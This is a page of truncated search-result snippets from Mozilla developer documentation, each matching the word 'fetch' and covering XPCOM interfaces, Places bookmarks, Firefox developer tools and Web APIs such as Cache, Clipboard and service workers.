number of convenient methods you can use to make changes to existing bookmarks and bookmark folders. this section covers some of them. the item title to change the title of a bookmark or bookmark folder, you use the nsinavbookmarksservice.setitemtitle() method. bmsvc.setitemtitle(newbkmkid, "new title"); this sets the title of the item referenced by the id newbkmkid to "new title". you can fetch the current title of an item using the nsinavbookmarksservice.getitemtitle() method: var thistitle = bmsvc.getitemtitle(newbkmkid); this code will display an alert containing the title of the item referenced by the id newbkmkid. the item uri similarly, you can obtain the uri corresponding to a given bookmark item by calling the nsinavbookmarksservice.getbookmarkuri() method. var thisuri = b...
Using the Places livemark service
argument is the uri of the actual rss feed. the last argument takes in the index to insert at, or -1 to append the new livemark to the end of the folder. you can convert a string into an nsiuri using nsiioservice. when creating livemarks during startup, you should use the nsilivemarkservice.createlivemarkfolderonly() to avoid http traffic. this creates the encapsulating livemark without actually fetching the rss feed's contents. var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]. getservice(components.interfaces.nsinavbookmarksservice); var root = bmsvc.bookmarksmenufolder; // item id of the bookmarks menu var newlvmkid = livemarkservice.createlivemarkfolderonly(bmsvc, root, "livemark name", ...
Places
using the places livemark service how to create and manage livemarks. using the places annotation service how to work with the annotation service. using the places keywords api how to manage places keywords querying places how to query the bookmarks and history system with specific parameters. retrieving part of the bookmarks tree how to fetch a section of the bookmarks tree using queries. displaying places information using views how to use places views to display places data in your own applications or extensions. places utilities for javascript a library of convenient routines that make it easier to work with places. places database troubleshooting how to deal with a corrupt places.sqlite database. ...
XPCOM Stream Guide
Mozilla › Tech › XPCOM › Guide › Streams
nverter.charset = "utf-8"; var stream = converter.converttoinputstream(string); javascript modules are your friends there are several useful javascript modules at your disposal. for streams, the most obvious are netutil.jsm and fileutils.jsm. netutil.jsm provides apis for copying an input stream to an output stream (the asynccopy() method), getting an input stream from another source (the asyncfetch() method), and reading an input stream into a string (the readinputstreamtostring() method). fileutils.jsm provides apis for getting output streams for files, with the .openfileoutputstream(file, modeflags) and .opensafefileoutputstream(file, modeflags) methods, and for closing those output streams with the .closesafefileoutputstream(inputstream) method. as we mentioned earlier, you can use the...
Index
Mozilla › Tech › XPCOM › Index
no summary! 386 nsichannel interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters. then, the uri can be fetched by calling open() or asyncopen(). after a request has been completed, the channel is still valid for accessing protocol-specific results. for example, queryinterfacing to nsihttpchannel allows response headers to be retrieved for the corresponding http transaction. 387 nsichanneleventsink channels, interfaces, interfaces:scriptable, xpcom, xpcom interface reference channels...
Components.utils.Sandbox
fox 37. ...
Components.utils.importGlobalProperties
the wantglobalproperties option in the sandbox constructor. this function is passed an array of strings. each string is the name of an object to import, and will be defined on the importing scope's global. ...
IAccessible2
r even when not handling an event for the object. an example of when this value is useful is if the at wants to build a cache. the at could cache the uniqueids in addition to other data being cached. when an event is fired the at could map the uniqueid to its internal model. thus, if there's a reorder/show/hide event the at knows which part of the internal structure has been invalidated and can refetch just that part. this value can also be used by an at to determine when the current control has changed. if the role is the same for two controls that are adjacent in the tab order, this can be used to detect the new control. another use of this value by an at is to identify when a grouping object has changed, for example when moving from a radio button in one group to a radio button in a differen...
imgICache
bird 1.5 / seamonkey 1.0) as of firefox 18, there is no longer a single image cache. that means that using getservice in order to obtain it will yield incorrect results. use the following snippet to obtain a relevant image cache for a given document or channel (where relevantdocument is a document object that contains images you care about, or relevantchannel is an nsichannel that is used for fetching images): var tools = components.classes["@mozilla.org/image/tools;1"].getservice(components.interfaces.imgitools); var cache = tools.getimgcachefordocument(relevantdocument); // alternatively, tools.getimgcacheforchannel(relevantchannel) if there is no relevant document or channel, null may be passed, but this will cause any image cache requests to use the permanent storage cache (ie. any...
nsIApplicationCacheNamespace
a bit field indicating one or more namespace types. must be one or more of the constants defined under constants on this page. read only. namespacespec acstring the prefix of this namespace. this should be the asciispec of the uri prefix. read only. constants constant value description namespace_bypass 1 items matching this namespace can be fetched from the network when loading from this cache. the data attribute is not used. namespace_fallback 2 items matching this namespace can be fetched from the network when loading from this cache; however, if the load fails, the cache entry specified by the data attribute should be loaded intstead. namespace_opportunistic 4 items matching this namespace should be cached...
nsICRLManager
needed for the update button in crl manager. boolean updatecrlfromurl( in wstring url, in wstring key ); parameters url key return value ...
nsICacheEntryInfo
ambased(); attributes attribute type description clientid string get the client id associated with this cache entry. read only. datasize unsigned long get the cache entry data size. read only. deviceid string get the id for the device that stores this cache entry. read only. expirationtime pruint32 get the expiration time of the cache entry (in seconds since the epoch). read only. fetchcount long get the number of times the cache entry has been opened. read only. key acstring get the key identifying the cache entry. read only. lastfetched pruint32 get the last time the cache entry was opened (in seconds since the epoch). read only. lastmodified pruint32 get the last time the cache entry was modified (in seconds since the epoch). read only. methods isstreambased() this m...
nsIChannel
s, and manage them in a uniform way. inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters. then, the uri can be fetched by calling open() or asyncopen(). after a request has been completed, the channel is still valid for accessing protocol-specific results. for example, queryinterfacing to nsihttpchannel allows response headers to be retrieved for the corresponding http transaction. this interface must be used only from the xpcom main thread. implemented by netwerk/base/src/nsbasechannel.cpp and netwerk/protoc...
nsIDNSService
ified host will be queried. resolve_priority_medium (1 << 2) the query is given medium priority. if used with low, medium takes precedence. resolve_priority_low (1 << 3) the query is given lower priority. if used with medium, medium takes precedence. resolve_speculate (1 << 4) indicates request is speculative. speculative requests return errors if prefetching is disabled by configuration. resolve_disable_ipv6 (1 << 5) if this flag is set, only ipv4 addresses will be returned by asyncresolve() and resolve(). methods asyncresolve() begins off an asynchronous host lookup. a specified nsidnslistener is invoked when the resolution process is completed. nsicancelable asyncresolve( in autf8string ahostname, in unsigned long afla...
nsIDOMHTMLSourceElement
be a valid url. this attribute must be present. note that dynamically manipulating this value after the page has loaded has no effect on the containing element; instead, change the src attribute of that element (audio or video) instead. type domstring the type attribute gives the type of the media resource, to help the user agent determine if it can play this media resource before fetching it. if specified, its value must be a valid mime type. the codecs parameter may be specified and might be necessary to specify exactly how the resource is encoded. media unimplemented domstring the media attribute gives the intended media type of the media resource, to help the user agent determine if this media resource is useful to the user before fetching it. its value must b...
nsIDocShell
ive code only! void setcurrenturi(in nsiuri auri); void suspendrefreshuris(); void tabtotreeowner(in boolean forward, out boolean tookfocus); attributes attribute type description allowauth boolean certain dochshells (like the message pane) should not throw up auth dialogs because it can act as a password trojan. allowdnsprefetch boolean attribute that determines whether dns prefetch is allowed for this subtree of the docshell tree. defaults to true. setting this will make it take effect starting with the next document loaded in the docshell. allowimages boolean attribute stating whether or not images should be loaded. allowjavascript boolean whether to allow javascript execution. ...
nsIDownloadManager
this interface is deprecated as of firefox 26. please use downloads.jsm instead. toolkit/components/downloads/public/nsidownloadmanager.idlscriptable this interface lets applications and extensions communicate with the download manager, adding and removing files to be downloaded, fetching information about downloads, and being notified when downloads are completed. inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/download-manager;1. to get the service, use: var downloadmanager = components.classes["@mozilla.org/download-manager;1"] .getservice(components.interfaces.nsidownloadmanager); method overview nsidownload adddownload(in short adownloadtype, in nsiuri asource, ...
nsIFeed
s associated with a feed. generator nsifeedgenerator describes the software that produced a feed. image nsiwritablepropertybag2 provides an image url and metadata, as defined by rss 2. items nsiarray specifies an array of the items or entries on the feed. skipdays nsiarray an array of days of the week on which the feed should not be fetched. each entry in the array is the name of one day of the week to skip. for example, to skip fetching on mondays, a feed that does not want to be fetched on mondays would specify "monday" in this array. note: this field is rarely implemented. skiphours nsiarray an array of the hours of the day during which the feed should not be fetched. the hours are represented as in...
nsIFeedResult
d. headers nsiproperties the http response headers that accompanied the feed. stylesheet nsiuri an xslt stylesheet available to transform the source of the feed. some feeds include this information in a processing instruction. it's generally intended for use by clients designed to work with specific feeds. uri nsiuri the address from which the feed was fetched. version astring the version of the feed; null if a non-feed is processed. this value will be one of the following: atom, rss2, rss09, rss091, rss091userland, rss092, rss1, atom03, atomentry, rssitem methods registerextensionprefix() registers a prefix for a namespace used to access an extension in the feed or entry. warning: this method is not implemented at this ...
nsIINIParser
numerating sections this example gets a list of all the sections in the ini file. // get all sections in the ini file var sectenum = iniparser.getsections(); // save the sections in an array var sections = []; while (sectenum && sectenum.hasmore()) { var section = sectenum.getnext(); // add an array entry for each section sections.push(section); } enumerating keys this example shows how to fetch the values for all the keys in the section named "setting". // get all keys for the "setting" section var keysenum = iniparser.getkeys("setting"); // save the keys and values in an object var keys = {}; while (keysenum && keysenum.hasmore()) { var key = keysenum.getnext(); // create a property for each key and assing the ini value. keys[key] = iniparser.getstring("setting", key); } see als...
nsILoginManagerStorage
h password saving is disabled. void getalldisabledhosts( out unsigned long count, optional [retval, array, size_is(count)] out wstring hostnames ); parameters count optional return in this parameter the number of disabled hostnames returned in the hostnames parameter. hostnames return in this parameter an array of all hostnames for which password saving is disabled. getallencryptedlogins() fetch all logins in the login manager. an array is always returned; if there are no logins the array is empty. this does not decrypt logins before returning the array. void getallencryptedlogins( out unsigned long count, optional [retval, array, size_is(count)] out nsilogininfo logins ); parameters count optional the number of elements in the array. logins an array of nsilogininfo objects. getal...
nsIMsgDBHdr
l have been decoded by the mime converter service. charset string indicates the character set of this message. this value is extracted from the content-type header. label nsmsglabelvalue indicates one of the old 5 label values used by old versions. new code should use keywords instead. accountkey string indicates the account that was originally used to fetch the message. may be blank if the message has not been moved or copied. folder nsimsgfolder readonly: indicates the folder in which this message is stored. propertyenumerator nsiutf8stringenumerator readonly: enumerator for names of all database properties in the header. (new in 3.1?) methods getproperty() astring getproperty(in string propertyname); param...
nsIMsgDBView
the index of the message to load. nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl. loadmessagebyurl() loads a message into the message pane. void loadmessagebyurl(in string aurl); parameters aurl the url of the message reloadmessage() reload the currently shown message. void reloadmessage(); reloadmessagewithallparts() reload the currently shown message with fetchcompletemessage set to true. this forces everything to be re-downloaded. void reloadmessagewithallparts(); selectmsgbykey() selects a message based on its key. used by "go to folder" feature and "remember last selected message" feature. if key is not found, nothing is selected. void selectmsgbykey(in nsmsgkey key); parameters key the key of the message to load. nsmsgkey is defined as...
nsINavHistoryContainerResultNode
the container are searched. return value an nsinavhistoryresultnode of a node matching the specified details or null if no match is found. exceptions thrown ns_error_not_available the container is not open. getchild() returns the child node at the specified index. nsinavhistoryresultnode getchild( in unsigned long aindex ); parameters aindex the index into the child list of the node to fetch. returns the node located at the specified index. exceptions thrown ns_error_not_available the containeropen attribute is currently false, indicating that the node isn't open for access. getchildindex() returns the index of a direct child of this container. unsigned long getchildindex( in nsinavhistoryresultnode anode ); parameters anode the node whose index is to be returned. return valu...
nsIPluginHost
name ); parameters apostdataurl atmpfilename native code only!deletepluginnativewindow deletes plugin native window object created by newpluginnativewindow(). void deletepluginnativewindow( in nspluginnativewindowptr apluginnativewindow ); parameters apluginnativewindow native code only!destroy void destroy(); parameters none. native code only!findproxyforurl fetches a url. (corresponds to npn_geturl and npn_geturlnotify.) posts to a url with post data and/or post headers. (corresponds to npn_posturl and npn_posturlnotify.) returns the proxy info for a given url. the caller is required to free the resulting memory with nsimalloc.free(). the result will be in the following format. "direct" -- no proxy "proxy xxx.xxx.xxx.xxx" -- use proxy "socks xxx.
nsIStringBundleService
inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/intl/stringbundle;1. ...
nsITaskbarWindowPreview
he preview. if false, the operating system draws these for you. constants constant value description num_toolbar_buttons 7 the maximum number of toolbar buttons supported by the windows taskbar api. methods getbutton() returns the specified button from the preview's toolbar. note: by default, all buttons are hidden. you must fetch and configure each button that you want to make visible. nsitaskbarpreviewbutton getbutton( in unsigned long index ); parameters index the index into the button array for the nsitaskbarpreviewbutton to retrieve. this value must be at least 0 (the leftmost button) and less than num_toolbar_buttons. return value an nsitaskbarpreviewbutton describing the requested button. see also...
nsITelemetry
etkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsval snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); void sethistogramrecordingenabled(in acstring id, in boolean enabled); void asyncfetchtelemetrydata(in nsifetchtelemetrydatacallback acallback); double mssinceprocessstart(); void scalaradd(in acstring aname, in jsval avalue); void scalarset(in acstring aname, in jsval avalue); void scalarsetmaximum(in acstring aname, in jsval avalue); jsval snapshotscalars(in uint32_t adataset, [optional] in boolean aclear); void keyedscalaradd...
nsIURLFormatter
); parameters aformat unformatted url as a string. return value the formatted url. formaturlpref() formats a string url stored in a preference. if the preference value cannot be retrieved, a fatal error is reported and the "about:blank" url is returned. astring formaturlpref( in astring apref ); parameters apref a string representing the name of the preference from which to fetch the url to format. return value the formatted url returned by formaturl(), or "about:blank". ...
nsIUpdateManager
gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsiupdate getupdateat(in long index); void saveupdates(); attributes attribute type description activeupdate nsiupdate an nsiupdate object describing the currently in use update. this update is not in the history list. read only. updatecount long the number of updates in the history list; the updates can be fetched by calling getupdateat(). read only. methods getupdateat() returns the update at the specified index into the history list. nsiupdate getupdateat( in long index ); parameters index an index into the history list for the nsiupdate to retrieve. return value the nsiupdate at the specified index into the history list. saveupdates() saves all updates to disk. void saveupdates(); parameters ...
nsIWebBrowserPersist
uri, in nsisupports acachekey, in nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports afile, in boolean aisprivate); attributes attribute type description currentstate unsigned long current state of the persister object. read only. persistflags unsigned long flags governing how data is fetched and saved from the network. it is best to set this value explicitly unless you are prepared to accept the default values. progresslistener nsiwebprogresslistener callback listener for progress notifications. the object that the embbedder supplies may also implement nsiinterfacerequestor and be prepared to return nsiauthprompt or other interfaces that may be required to download d...
nsIWebPageDescriptor
docshell/base/nsiwebpagedescriptor.idlscriptable this interface allows content being displayed in one window to be loaded into another window without refetching it from the network. inherits from: nsisupports last changed in gecko 1.7 method overview void loadpage(in nsisupports apagedescriptor, in unsigned long adisplaytype); attributes attribute type description currentdescriptor nsisupports retrieves the page descriptor for the current document. read only. constants display type constants constant value description display_as_source 0x0001 generates an optionally syntax-highlighted (for xml/html documents) source of the original page. display_normal 0x0002 just refetches the existing page. note that if the descriptor is that of the source of another page,...
nsIWindowMediator
ldest window to the youngest. nsisimpleenumerator getenumerator( in wstring awindowtype ); parameters awindowtype the returned enumerator will enumerate only windows of this type. ("type" is the |windowtype| attribute of the xml <window> element.) if null, all windows will be enumerated. return value an enumerator of nsidomwindows. getmostrecentwindow() this is a shortcut for simply fetching the first window in front to back order. nsidomwindow getmostrecentwindow( in wstring awindowtype ); parameters awindowtype return the topmost window of this type. ("type" is the |windowtype| attribute of the xml <window> element.) if null, return the topmost window of any type. return value the topmost window. note: starting in gecko 8.0, the returned value is an nsidomwindow; p...
nsIXMLHttpRequest
ttprequest;1"].createinstance(ci.nsixmlhttprequest); let handler = ev => { evf(m => xhr.removeeventlistener(m, handler, !1)); switch (ev.type) { case 'load': if (xhr.status == 200) { cb(xhr.response); break; } default: services.prompt.alert(null, 'xhr error', 'error fetching package: ' + xhr.statustext + ' [' + ev.type + ':' + xhr.status + ']'); break; } }; let evf = f => ['load', 'error', 'abort'].foreach(f); evf(m => xhr.addeventlistener(m, handler, false)); xhr.mozbackgroundrequest = true; xhr.open('get', url, true); xhr.channel.loadflags |= ci.nsirequest.load_anonymous | ci.nsirequest.load_bypass_cache | ci.nsi...
nsMsgRuleActionType
const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=11; const long deletefrompop3server=12; const long leaveonpop3server=13; const long junkscore=14; const long fetchbodyfrompop3server=15; const long copytofolder=16; const long addtag=17; const long killsubthread=18; const long markunread=19; }; ...
Warnings
out things to stderr. this page is designed to help explain the cause and possible solutions for these warnings. sort operations this warning message will say something about the number of sort operations that have occurred for a sql statement. this happens when you have an order by clause that does not use an index. when you do not use an index, all the results from the query have to first be fetched, and then those results are sorted. however, when the index is used, the data can be obtained row by row from the database, which will be much faster. if, for some reason you cannot use an index in your order by clause, you can suppress this warning by including a sql comment in your query that contains this text: /* do not warn (bug [everything in these brackets does not matter] */ the bug m...
Declaring and Calling Functions
functions are declared using the library object's declare() method. once declared, functions can be called using standard function syntax. prerequiste understanding see abi. example: no input parameters in this example, we declare the libc clock() function, which returns the elapsed time since system startup, then fetch and output that value. const clock = lib.declare("clock", ctypes.default_abi, ctypes.unsigned_long); console.log("clocks since startup: " + clock()); the clock() function requires no input parameters; it simply returns an unsigned long. example: multiple input parameters this example declares the libc asctime() function, which converts a time structure into a string. const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); for a mo...
Plug-in Basics - Plugins
r uses either the value of the type attribute or the suffix of the filename given as the source to determine which plug-in to use. use type to specify the media type or mime type necessary to display the plug-in. it is good practice to include the mime type in all the plug-in html elements. you can use type for a plug-in that requires no data, for example, a plug-in that draws an analog clock or fetches all of its data dynamically. for a visible plug-in, you must include width and height if you use type; no default value is used. the pluginurl attribute is the url of the plug-in or of the xpi in which the plug-in is stored (see installing plug-ins for more information on the xpi file format). the embed element has a number of attributes that determine the appearance and size of the plug-in i...
Source map errors - Firefox Developer Tools
t line 1 column 1 of the json data error: "version" is a required argument original source missing an original source may be missing. you may encounter this when trying to open one of the original sources in the debugger. the message looks a little different in this case: in this case, the error will also be displayed in the source tab in the debugger: networkerror when attempting to fetch resource a bug in firefox prevents it from loading source maps for web extensions. see bug 1437937: webextensions doesn't find source maps for details. source-map-fehler: typeerror: networkerror when attempting to fetch resource. ressourcen-adresse: moz-extension://c7f0f003-4fcf-49fd-8ec0-c49361266581/background.js source-map-adresse: background.js.map the only workaround is to manually cha...
Debugger.Memory - Firefox Developer Tools
ne out of twenty”. the default is 1, or logging every allocation. note that in the presence of multiple debugger instances observing the same allocations within a global’s scope, the maximum allocationsamplingprobability of all the debuggers is used. maxallocationsloglength the maximum number of allocation sites to accumulate in the allocations log at a time. this accessor can be both fetched and stored to. its default value is 5000. allocationslogoverflowed returns true if there have been more than [maxallocationsloglength][#max-alloc-log] allocations since the last time [drainallocationslog][#drain-alloc-log] was called and some data has been lost. returns false otherwise. debugger.memory handler functions similar to debugger’s handler functions, debugger.memory inherits ac...
Network request details - Firefox Developer Tools
as an inspectable object: if the response is an image, the tab displays a preview: for network responses that are initiated by a websocket connection, the details pane shows any associated messages. for more information, see inspecting web sockets. cache tab if the response is cached (i.e. a 304), the cache tab displays details about that cached resource. these details include: last fetched: the date the resource was last fetched fetched count: the number of times in the current session that the resource has been fetched data size: the size of the resource. last modified: the date the resource was last modified. expires: the date the resource expires. device: the device the resource was fetched from (e.g. "disk"). html preview if the response is html, a preview of the rend...
Cache Storage - Firefox Developer Tools
...
AbortSignal: abort event - Web APIs
using abortcontroller.abort(). bubbles no cancelable no interface event event handler onabort examples in the following snippets, we create a new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console. ...
AbortSignal.onabort - Web APIs
syntax abortsignal.onabort = function() { ... }; examples in the following snippet, we create a new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console. ...
AddressErrors - Web APIs
if the request's shippingaddress has a value for country which isn't in the array validcountries, we generate the error. that's done by removing all shipping options currently set on the request, then set up an object named shippingaddresserrors which contains a country property which is an error message describing why the stated country isn't being perm...
AudioTrackList.onremovetrack - Web APIs
ed from the media element's audiotracklist. note: you can also add a handler for the removetrack event using addeventlistener(). syntax audiotracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which audio track has been removed from the media element. example this simple example just fetches the current number of audio tracks in the media element whenever a track is removed from the media element. document.queryselector("my-video").audiotracks.onremovetrack = function(event) { mytrackcount = document.queryselector("my-video").audiotracks.length; }; the current number of audio tracks remaining in the media element is obtained from audiotracklist property length. specifications...
BaseAudioContext.decodeAudioData() - Web APIs
le data, not fragments of audio file data. syntax older callback syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcallback, errorcallback); newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader. successcallback a callback function to be invoked when the decoding successfully finishes. the single argument to this callback is an audiobuffer representing the decodeddata (the decoded pcm audio data). usually you'll want to put the decoded data into an audiobuffersourcenode, from which it can be played and manipulated how you want. errorcallback an optional error callback...
Blob.arrayBuffer() - Web APIs
Web › API › Blob › arrayBuffer
r bufferpromise = blob.arraybuffer(); blob.arraybuffer().then(buffer => /* process the arraybuffer */); var buffer = await blob.arraybuffer(); parameters none. returns a promise that resolves with an arraybuffer that contains the blob's data in binary form. exceptions while this method doesn't throw exceptions, it may reject the promise. this can happen, for example, if the reader used to fetch the blob's data throws an exception. any exceptions thrown while getting the data will be converted into rejections. usage notes while similar to the filereader.readasarraybuffer() method, arraybuffer() returns a promise rather than being an event-based api, as is the case with the filereader interface's method. specifications specification status comment file apithe d...
Body.formData() - Web APIs
Web › API › Body › formData
living standard ...
CSSStyleDeclaration.item() - Web APIs
the cssstyledeclaration.item() method interface returns a css property name from a cssstyledeclaration by index. this method doesn't throw exceptions as long as you provide arguments; the empty string is returned if the index is out of range and a typeerror is thrown if no argument is provided. syntax var propertyname = style.item(index); parameters index is the index of the node to be fetched. the index is zero-based. return value propertyname is a domstring that is the name of the css property at the specified index. javascript has a special simpler syntax for obtaining an item from a nodelist by index: var propertyname = style[index]; example var style = document.getelementbyid('div1').style; var propertyname = style.item(1); // or simply style[1] - returns the second styl...
Cache.add() - Web APIs
Web › API › Cache › add
note: add() will overwrite any key/value pair previously stored in the cache that matches the request. ...
Cache.addAll() - Web APIs
Web › API › Cache › addAll
. note: addall() will overwrite any key/value pairs previously stored in the cache that match the request, but will fail if a resulting put() operation would overwrite a previous cache entry stored by the same addall() method. syntax cache.addall(requests[]).then(function() { // requests have been added to the cache }); parameters requests an array of string urls that you want to be fetched and added to the cache. you can specify the request object instead of the url. return value a promise that resolves with undefined. exceptions exception happens when typeerror the url scheme is not http or https. the response status is not in the 200 range (i.e., not a successful response.) this occurs if the request does not return successfully, but a...
Clients.claim() - Web APIs
Web › API › Clients › claim
r service worker controlling pages that loaded regularly over the network, or possibly via a different service worker. syntax await clients.claim(); parameters none. return value a promise that resolves to undefined. example the following example uses claim() inside service worker's "activate" event listener so that clients loaded in the same scope do not need to be reloaded before their fetches will go through this service worker. self.addeventlistener('activate', event => { event.waituntil(clients.claim()); }); specifications specification status comment service workersthe definition of 'claim()' in that specification. working draft initial definition. ...
Clipboard.read() - Web APIs
Web › API › Clipboard › read
var promise = navigator.clipboard.read(); parameters none. return value a promise that resolves with a datatransfer object containing the clipboard's contents. the promise is rejected if permission to access the clipboard is not granted. example after using navigator.permissions.query() to find out if we have (or if the user will be prompted to allow) "clipboard-read" access, this example fetches the data currently on the clipboard. if it's not a png image, an error message is presented. otherwise, an image element referred to using the variable imgelem has its source replaced with the clipboard's contents. // first, ask the permissions api if we have some kind of access to // the "clipboard-read" feature. navigator.permissions.query({name: "clipboard-read"}).then(result => { // if ...
Clipboard API - Web APIs
d data from the clipboard. this api is designed to supersede accessing the clipboard using document.execcommand(). accessing the clipboard instead of creating a clipboard object through instantiation, you access the system clipboard through the navigator.clipboard global: navigator.clipboard.readtext().then( cliptext => document.queryselector(".editor").innertext += cliptext); this snippet fetches the text from the clipboard and appends it to the first element found with the class editor. since readtext() (and read(), for that matter) returns an empty string if the clipboard isn't text, this code is safe. interfaces clipboard secure context provides an interface for reading and writing text and data to or from the system clipboard. the specification refers to this as the 'async clip...
ConstantSourceNode.offset - Web APIs
alues. each of those values is also an audioparam. let's say we have an event handler (for click events, in this case) which needs to respond by altering the value of the two gain nodes. with the linkage above in place, that can be done using this simple event handler: function handleclickevent(event) { volumeslidercontrol.value = constantsource.offset.value; } all this function has to do is fetch the current value of the slider control we're using to control the paired nodes' gains, then store that value into the constantsourcenode's offset parameter. that's done by simply changing the contents of its audioparam.value property. the two gain nodes quickly adopt the new volume level. specifications specification status comment web audio apithe definition of 'offset...
ContentIndex.add() - Web APIs
Web › API › ContentIndex › add
es, defined as an object with the following data: src: a url string of the source image. sizes: optional a string representation of the image size. type: optional the mime type of the image. return value returns a promise that resolves with undefined exceptions typeerror if the service worker's registration is not present or the service worker does not contain a fetchevent. if the id, title, description or url are missing, not of type string, or an empty string. if icons images are not of image type. examples here we're declaring an item in the correct format and creating an asynchronous function which uses the add method to register it with the content index. // our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consect...
Content Index API - Web APIs
ter their offline enabled content with the browser. concepts and usage as it stands, offline web content is not easily discoverable by users. content indexing allows developers to tell the browser about their specific offline content. this allows users to discover and view what is available, whilst giving developers the ability to add and manage this content. examples could be a news website prefetching the latest articles in the background, or a content streaming app registering downloaded content. the content index api is an extension to service workers, which allows developers to add urls and metadata of already cached pages, under the scope of the current service worker. the browser can then use these entries to display offline reading to a user. as a developer you can also display these...
ConvolverNode - Web APIs
ollowing example shows basic usage of an audiocontext to create a convolver node. note: you will need to find an impulse response to complete the example below. see this codepen for an applied example. let audioctx = new window.audiocontext(); async function createreverb() { let convolver = audioctx.createconvolver(); // load impulse response from file let response = await fetch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ... let reverb = await createreverb(); // someotheraudionode -> reverb -> destination someotheraudionode.connect(reverb); reverb.connect(audioctx.destination); specifications specification status c...
CustomElementRegistry.whenDefined() - Web APIs
l the actual menu content is ready to display. <nav id="menu-container"> <div class="menu-placeholder">loading...</div> <nav-menu> <menu-item>item 1</menu-item> <menu-item>item 2</menu-item> ... <menu-item>item n</menu-item> </nav-menu> </nav> const container = document.getelementbyid('menu-container'); const placeholder = container.queryselector('.menu-placeholder'); // fetch all the children of menu that are not yet defined. const undefinedelements = container.queryselectorall(':not(:defined)'); const promises = [...undefinedelements].map( button => customelements.whendefined(button.localname) ); // wait for all the children to be upgraded, // then remove the placeholder. await promise.all(promises); container.removechild(placeholder); specifications ...
DOMParser - Web APIs
Web › API › DOMParser
source, returning a document in its response property. you can perform the opposite operation—converting a dom tree into xml or html source—using the xmlserializer interface. in the case of an html document, you can also replace portions of the dom with new dom trees built from html by setting the value of the element.innerhtml and outerhtml properties. these properties can also be read to fetch html fragments corresponding to the corresponding dom subtree. syntax let domparser = new domparser()​​ methods domparser.parsefromstring() syntax let doc = domparser.parsefromstring(string, mimetype) return either document or xmldocument depending on the mimetype argument. parameters this method has 2 parameters (both required): string the domstring to be parsed. it must contai...
Document.open() - Web APIs
Web › API › Document › open
on to removing all nodes. this is no longer the case.document non-spec'ed parameters to document.open gecko-specific notes starting with gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin. starting with gecko 1.9.2, document.open() uses the principal of the document whose uri it uses, instead of fetching the principal off the stack. as a result, you can no longer call document.write() into an untrusted document from chrome, even using wrappedjsobject. see security check basics for more about principals. three-argument document.open() there is a lesser-known and little-used three-argument version of document.open() , which is an alias of window.open() (see its page for full details). this ca...
Introduction to the DOM - Web APIs
<table> elements). nodelist a nodelist is an array of elements, like the kind that is returned by the method document.getelementsbytagname(). items in a nodelist are accessed by index in either of two ways: list.item(1) list[1] these two are equivalent. in the first, item() is the single method on the nodelist object. the latter uses the typical array syntax to fetch the second item in the list. attribute when an attribute is returned by a member (e.g., by the createattribute() method), it is an object reference that exposes a special (albeit small) interface for attributes. attributes are nodes in the dom just like elements are, though you may rarely use them as such. namednodemap a namednodemap is like an array, but the items are acc...
Element.innerHTML - Web APIs
Web › API › Element › innerHTML
formatting of the returned fragment is likely not to match the original page markup. replacing the contents of an element setting the value of innerhtml lets you easily replace the existing contents of an element with new content. for example, you can erase the entire contents of a document by clearing the contents of the document's body attribute: document.body.innerhtml = ""; this example fetches the document's current html markup and replaces the "<" characters with the html entity "&lt;", thereby essentially converting the html into raw text. this is then wrapped in a <pre> element. then the value of innerhtml is changed to this new string. as a result, the document contents are replaced with a display of the page's entire source code. document.documentelement.innerhtml = "<pre>" + ...
Event - Web APIs
Web › API › Event
reference. note that all event interfaces have names which end in "event". ...
ExtendableEvent.waitUntil() - Web APIs
until tasks complete. if the promise passed to waituntil() rejects, the install is considered a failure, and the installing service worker is discarded. this is primarily used to ensure that a service worker is not considered installed until all of the core caches it depends on are successfully populated. the activate events in service workers use waituntil() to buffer functional events such as fetch and push until the promise passed to waituntil() settles. this gives the service worker time to update database schemas and delete outdated caches, so other events can rely on a completely upgraded state. the waituntil() method must be initially called within the event callback, but after that it can be called multiple times, until all the promises passed to it settle. note: the behaviour desc...
FederatedCredential - Web APIs
syntax var mycredential = new federatedcredential(init) parameters init options are: provider: a usvstring; identifying the credential provider. specifications specification status comment credential management level 1 working draft initial definition. ...
FederatedCredential - Web APIs
